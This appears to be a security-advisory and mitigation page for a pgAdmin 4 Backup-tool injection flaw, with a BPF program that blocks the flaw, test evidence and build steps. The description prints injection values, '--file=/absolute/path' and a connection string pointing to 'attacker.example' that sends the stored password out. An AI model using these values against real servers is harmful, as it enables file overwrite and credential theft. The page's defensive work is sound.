CVE-2026-86864
pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool
Refuses pg_dump execution with an injected trailing option or connection string to mitigate CVE-2026-86864.
High 8.7Vetted
EPSS 0.6%: the estimated chance this CVE is exploited in the next 30 days, as of 25 Nov 2026.
NVDCVE.orgVendor advisorypgAdmin 4, published 17 Sept 2026
At a glance
CVE-2026-86864 is a high (CVSS 8.7) vulnerability in pgAdmin 4, published 17 September 2026. A vetted upatch, cve-2026-86864-pgdump-block, blocks it on running Linux machines with shirudo until pgAdmin 4 is upgraded.
- Severity
- High 8.7 CVSS 4.0
- Chance of exploitation
- 0.6% in the next 30 days (EPSS, 25 Nov 2026)
- Known exploited
- No, not on CISA’s KEV list
- Affected software
- pgAdmin 4 (pgadmin.org)
- Upatch status
- Vetted, merged into the registry
- How to apply
- Build, sign and roll out with shirudo
Overview
CVE-2026-86864, published on 17 September 2026 and tracked in pgAdmin 4 issue #10384, affects pgAdmin 4 versions prior to 9.18. In web/pgadmin/tools/backup/__init__.py, create_backup_objects_job appended the client-supplied database field from the /backup/job/<sid>/object request directly to the pg_dump argument vector as a bare trailing positional argument without validation. Because pg_dump parses options with getopt_long, which permutes arguments, a database value such as --file=/absolute/path was parsed as an option and overrode the storage-confined --file flag that pgAdmin placed at the start of the argument vector, allowing arbitrary file creation and overwrite outside the user's File Manager storage directory as the OS account running pgAdmin. Additionally, because libpq expands a positional database name containing = into a connection string, a value such as host=attacker.example port=5432 dbname=x overrode --host and --port and redirected pg_dump along with the exported PGPASSWORD environment variable to an attacker-controlled server.
Official description
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
Affected versions
pgAdmin 4:
| Product | Affected | Fixed in |
|---|---|---|
| pgAdmin 4 | < 9.18 | 9.18 |
Sources
More references from NVD (1)
Mitigation
One sleepable BPF LSM program on lsm.s/bprm_creds_for_exec inspects executions where:
- The target executable name (
bprm->file->f_path.dentry->d_name) ispg_dump. - The calling process executable (
current->mm->exe_file->f_path.dentry->d_nameorcurrent->comm) starts withpython(matchingprocess_executor.pyspawned by pgAdmin 4). - The trailing arguments in the caller's
execve/execveatargvvector (argv[bprm->argc - 1]andargv[bprm->argc - 2], read viabpf_task_pt_regs) either specify--file/-fat the end of the argument vector (whereas pgAdmin always places its legitimate--file <backup_file>at the beginning ofargs) or have a final positional argument that does not start with-and contains=(alibpqconnection string).
When all three conditions hold, the program increments the refused per-CPU counter and returns -EPERM.
Side effects
- Any
pg_dumpjob launched by pgAdmin 4 whose trailingdatabaseargument injects--file/-for contains=fails immediately atexecvewithEPERM. - Normal object backups in pgAdmin 4 whose database name does not contain
=continue to work. - Fixed pgAdmin 4 releases (9.18 and later) pass the database name in the
PGDATABASEenvironment variable rather than on the command line, so database names containing=work normally on 9.18+.
Preemption model and cost
The program uses a per-CPU array map updated with __sync_fetch_and_add, making it safe under all preemption models including PREEMPT_LAZY, PREEMPT_DYNAMIC, and PREEMPT_RT. On every execve of a binary other than pg_dump, the program checks only the 7-byte target dentry length and returns immediately without reading user memory.
The policy
151 lines of BPF C, attached at lsm.s/bprm_creds_for_exec.
// SPDX-License-Identifier: GPL-2.0 OR BSD-2-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#define EPERM 1
#define NR_EXECVE 59
#define NR_EXECVEAT 322
#define MAX_ARG_LEN 64
char _license[] SEC("license") = "Dual BSD/GPL";
struct {
__uint(type, BPF_MAP_TYPE_PERCPU_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u64);
} refused SEC(".maps");
static __always_inline void count_refused(void)
{
__u32 key = 0;
__u64 *value = bpf_map_lookup_elem(&refused, &key);
if (value)
__sync_fetch_and_add(value, 1);
}
static __always_inline bool dentry_is_pg_dump(const struct dentry *dentry)
{
const unsigned char *name = BPF_CORE_READ(dentry, d_name.name);
char buf[8] = {};
if (!dentry || BPF_CORE_READ(dentry, d_name.len) != 7)
return false;
if (bpf_probe_read_kernel_str(buf, sizeof(buf), name) < 0)
return false;
return buf[0] == 'p' && buf[1] == 'g' && buf[2] == '_' &&
buf[3] == 'd' && buf[4] == 'u' && buf[5] == 'm' &&
buf[6] == 'p';
}
static __always_inline bool current_is_python(struct task_struct *task)
{
const struct dentry *exe = BPF_CORE_READ(task, mm, exe_file, f_path.dentry);
const unsigned char *name = BPF_CORE_READ(exe, d_name.name);
__u32 len = BPF_CORE_READ(exe, d_name.len);
char buf[16] = {};
if (exe && len >= 6 && !bpf_probe_read_kernel(buf, 6, name)) {
if (buf[0] == 'p' && buf[1] == 'y' && buf[2] == 't' &&
buf[3] == 'h' && buf[4] == 'o' && buf[5] == 'n')
return true;
}
if (bpf_get_current_comm(buf, sizeof(buf)) == 0) {
if (buf[0] == 'p' && buf[1] == 'y' && buf[2] == 't' &&
buf[3] == 'h' && buf[4] == 'o' && buf[5] == 'n')
return true;
}
return false;
}
static __always_inline bool is_file_flag(const char *arg)
{
if (arg[0] == '-' && arg[1] == '-' && arg[2] == 'f' &&
arg[3] == 'i' && arg[4] == 'l' && arg[5] == 'e' &&
(arg[6] == '=' || arg[6] == 0))
return true;
if (arg[0] == '-' && arg[1] == 'f')
return true;
return false;
}
static __always_inline bool last_arg_injected(struct task_struct *task,
struct linux_binprm *bprm)
{
struct pt_regs *regs = (struct pt_regs *)bpf_task_pt_regs(task);
int argc = BPF_CORE_READ(bprm, argc);
long orig_ax;
unsigned long argv_base = 0;
unsigned long arg_ptr = 0;
char buf[MAX_ARG_LEN] = {};
if (!regs || argc < 3)
return false;
orig_ax = BPF_CORE_READ(regs, orig_ax);
if (orig_ax == NR_EXECVE)
argv_base = BPF_CORE_READ(regs, si);
else if (orig_ax == NR_EXECVEAT)
argv_base = BPF_CORE_READ(regs, dx);
else
return false;
if (!argv_base)
return false;
if (bpf_copy_from_user(&arg_ptr, sizeof(arg_ptr),
(const void *)(argv_base +
(unsigned long)(argc - 1) * 8)))
return false;
if (!arg_ptr || bpf_copy_from_user(buf, sizeof(buf), (const void *)arg_ptr))
return false;
if (is_file_flag(buf))
return true;
if (buf[0] != '-') {
for (__u32 i = 0; i < MAX_ARG_LEN; i++) {
if (buf[i] == 0)
break;
if (buf[i] == '=')
return true;
}
}
arg_ptr = 0;
if (bpf_copy_from_user(&arg_ptr, sizeof(arg_ptr),
(const void *)(argv_base +
(unsigned long)(argc - 2) * 8)))
return false;
if (!arg_ptr || bpf_copy_from_user(buf, sizeof(buf), (const void *)arg_ptr))
return false;
if (is_file_flag(buf))
return true;
return false;
}
static __always_inline int earlier_verdict(int ret)
{
return ret >= -4095 && ret < 0 ? ret : -EPERM;
}
SEC("lsm.s/bprm_creds_for_exec")
int BPF_PROG(cve_2026_86864_exec, struct linux_binprm *bprm, int ret)
{
const struct dentry *dentry = BPF_CORE_READ(bprm, file, f_path.dentry);
struct task_struct *task;
if (ret)
return earlier_verdict(ret);
if (!dentry_is_pg_dump(dentry))
return 0;
task = bpf_get_current_task_btf();
if (!current_is_python(task))
return 0;
if (!last_arg_injected(task, bprm))
return 0;
count_refused();
return -EPERM;
}
The package: name, license, the program and the CVE it fixes.
[package]
name = "cve-2026-86864"
description = "Refuses pg_dump execution with an injected trailing option or connection string to mitigate CVE-2026-86864"
license = "GPL-2.0 OR BSD-2-Clause"
[[upatches]]
source = "cve-2026-86864-pgdump-block.bpf.c"
[upatches.tree]
id = "cve-2026-86864-pgdump-block"
fixes = ["CVE-2026-86864"]
Process
How this upatch was written, checked and reviewed, from the registry’s history.
- 17 Sept 2026CVECVE published
- 25 Nov 2026Pull requestPull request #81 openedAdd CVE-2026-86864: Refuses pg_dump execution with an injected trailing option or connection stringromanlab
- 25 Nov 2026CIUpdate upatch.devcancelled
- 25 Nov 2026CICIpassed
- 25 Nov 2026MergeMerged #81romanlab
No human review is recorded on GitHub for this upatch yet.
Evidence
On a vulnerable pgAdmin 4 9.17, the loaded upatch refused the pg_dump execution with an injected --file option at lsm.s/bprm_creds_for_exec so no file was written outside storage, while before loading and after unloading pg_dump ran and wrote the probe file outside storage.
- Tested
- 25 Nov 2026
- Target
- pgAdmin 4 9.17 on Python 3.12 listening on 127.0.0.1:5050
- Kernel
- 7.4-shirudo-ci-20261123
- Architecture
- x86_64
| State | Injected --file option executes pg_dump and writes outside storage |
|---|---|
| Before loading | yes (outside-f996baa1bbbd.sql written) |
| Upatch loaded | no (execve refused with EPERM) |
| After unloading | yes (outside-9a39bb5a6591.sql written) |
tools-test.log Output of tools/test --setup for cve-2026-86864 showing the probe reached before, blocked while loaded, and reached again after.
tools/test --setup, 2026-11-25T14:37:25Z Target: shirudo test VM, Linux 7.4-shirudo-ci-20261123, x86_64, swtpm cve-2026-86864 setup done PGADMIN_URL=http://127.0.0.1:5050 PGADMIN_PROBE_DIR=/opt/upatch-payload/cve-2026-86864/probe before reached pg_dump wrote outside-f996baa1bbbd.sql outside storage via injected --file loaded blocked the upatch refused pg_dump execution with injected --file after reached pg_dump wrote outside-9a39bb5a6591.sql outside storage via injected --file PASS: reached before, blocked while loaded, reached again after
Use it
Build the upatch from source, sign it with your own shirudo key, and publish it to your own OCI registry. Machines that follow your upatch tree load it within about a minute.
git clone https://github.com/copper-helm/upatch-registry
cd upatch-registry
tools/build <shirudo-checkout> <keys-dir> 1.0.0 upatches/cve-2026-86864shirudo bpm push build/packages/cve-2026-86864-1.0.0.bee oci://<registry>/<namespace>/cve-2026-86864 --keys-dir <keys-dir>
shirudo bpm tree append build/packages/cve-2026-86864-1.0.0.bee oci://<registry>/<namespace>/<tree> --tree-id <tree-id> --keys-dir <keys-dir>